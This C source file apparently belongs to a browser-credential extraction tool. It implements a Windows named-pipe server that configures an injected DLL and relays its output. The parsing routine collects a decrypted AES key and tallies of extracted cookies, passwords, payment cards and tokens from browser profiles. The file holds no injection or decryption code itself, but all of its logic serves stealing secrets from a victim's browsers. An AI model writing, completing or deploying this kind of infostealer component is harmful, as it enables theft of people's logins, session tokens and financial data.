#include "pipe_communicator.h"
#include <string.h>

bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name) {
    if (!comm || !pipe_name) return false;

    memset(comm, 0, sizeof(PipeCommunicator));
    wcsncpy_s(comm->pipe_name, 256, pipe_name, _TRUNCATE);

    comm->pipe = CreateNamedPipeW(
        pipe_name,
        PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, 4096, 4096, 0, NULL
    );

    return comm->pipe != INVALID_HANDLE_VALUE;
}

void pipe_destroy(PipeCommunicator* comm) {
    if (!comm) return;

    if (comm->pipe && comm->pipe != INVALID_HANDLE_VALUE) {
        CloseHandle(comm->pipe);
        comm->pipe = INVALID_HANDLE_VALUE;
    }
}

bool pipe_wait_for_client(PipeCommunicator* comm) {
    if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;

    OVERLAPPED overlapped = { 0 };
    overlapped.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (!overlapped.hEvent) return false;

    BOOL connected = ConnectNamedPipe(comm->pipe, &overlapped);
    DWORD last_error = GetLastError();

    if (!connected && last_error == ERROR_IO_PENDING) {
        DWORD wait_result = WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_MS);
        CloseHandle(overlapped.hEvent);

        if (wait_result != WAIT_OBJECT_0) {
            CancelIo(comm->pipe);
            return false;
        }
    }
    else if (!connected && last_error != ERROR_PIPE_CONNECTED) {
        CloseHandle(overlapped.hEvent);
        return false;
    }
    else {
        CloseHandle(overlapped.hEvent);
    }

    Sleep(200);
    return true;
}

static bool pipe_write_message(PipeCommunicator* comm, const char* msg) {
    if (!comm || !msg) return false;

    DWORD bytes_written = 0;
    size_t msg_len = strlen(msg) + 1;

    return WriteFile(comm->pipe, msg, (DWORD)msg_len, &bytes_written, NULL) &&
        bytes_written == msg_len;
}

bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path) {
    if (!comm || !output_path) return false;

    if (!pipe_write_message(comm, verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE")) return false;
    Sleep(10);

    if (!pipe_write_message(comm, fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE")) return false;
    Sleep(10);

    char path_utf8[MAX_PATH_LEN * 3];
    WideCharToMultiByte(CP_UTF8, 0, output_path, -1, path_utf8, sizeof(path_utf8), NULL, NULL);

    if (!pipe_write_message(comm, path_utf8)) return false;
    Sleep(10);

    return true;
}

static int extract_number_from_message(const char* message, const char* prefix, const char* suffix) {
    const char* start = strstr(message, prefix);
    if (!start) return 0;

    start += strlen(prefix);
    const char* end = strstr(start, suffix);
    if (!end) end = start + strlen(start);

    char num_str[32];
    size_t len = end - start;
    if (len >= sizeof(num_str)) len = sizeof(num_str) - 1;

    memcpy(num_str, start, len);
    num_str[len] = '\0';

    return atoi(num_str);
}

static void parse_extraction_message(PipeCommunicator* comm, const char* message) {
    if (!comm || !message) return;

    if (strstr(message, "Found ") && strstr(message, "profile(s)")) {
        comm->stats.profile_count = extract_number_from_message(message, "Found ", " profile(s)");
    }

    if (strstr(message, "Decrypted AES Key: ")) {
        const char* key_start = strstr(message, "Decrypted AES Key: ") + 19;
        strncpy_s(comm->stats.aes_key, sizeof(comm->stats.aes_key), key_start, _TRUNCATE);
    }

    if (strstr(message, " cookies extracted to ")) {
        comm->stats.total_cookies += extract_number_from_message(message, "[*] ", " cookies");
    }

    if (strstr(message, " passwords extracted to ")) {
        comm->stats.total_passwords += extract_number_from_message(message, "[*] ", " passwords");
    }

    if (strstr(message, " payments extracted to ")) {
        comm->stats.total_payments += extract_number_from_message(message, "[*] ", " payments");
    }

    if (strstr(message, " tokens extracted to ")) {
        comm->stats.total_tokens += extract_number_from_message(message, "[*] ", " tokens");
    }
}

bool pipe_relay_messages(PipeCommunicator* comm) {
    if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;

    const char* completion_signal = "__DLL_PIPE_COMPLETION_SIGNAL__";
    DWORD start_time = GetTickCount();
    char accumulated[8192] = { 0 };
    size_t accumulated_len = 0;
    char buffer[4096];
    bool completed = false;

    while (!completed && (GetTickCount() - start_time < DLL_COMPLETION_TIMEOUT_MS)) {
        DWORD bytes_available = 0;
        if (!PeekNamedPipe(comm->pipe, NULL, 0, NULL, &bytes_available, NULL)) {
            if (GetLastError() == ERROR_BROKEN_PIPE) 
                break;
            break;
        }

        if (bytes_available == 0) {
            Sleep(100);
            continue;
        }

        DWORD bytes_read = 0;
        if (!ReadFile(comm->pipe, buffer, sizeof(buffer) - 1, &bytes_read, NULL) || bytes_read == 0) {
            if (GetLastError() == ERROR_BROKEN_PIPE) break;
            continue;
        }

        if (accumulated_len + bytes_read < sizeof(accumulated)) {
            memcpy(accumulated + accumulated_len, buffer, bytes_read);
            accumulated_len += bytes_read;
        }

        size_t pos = 0;
        while (pos < accumulated_len) {
            size_t msg_len = strlen(accumulated + pos);
            if (msg_len == 0 || pos + msg_len >= accumulated_len) 
                break;

            char* message = accumulated + pos;

            if (strcmp(message, completion_signal) == 0) {
                completed = true;
                break;
            }

            parse_extraction_message(comm, message);
            pos += msg_len + 1;
        }

        if (completed)
            break;

        if (pos > 0 && pos < accumulated_len) {
            memmove(accumulated, accumulated + pos, accumulated_len - pos);
            accumulated_len -= pos;
        }
        else if (pos >= accumulated_len) {
            accumulated_len = 0;
        }
    }

    return completed;
}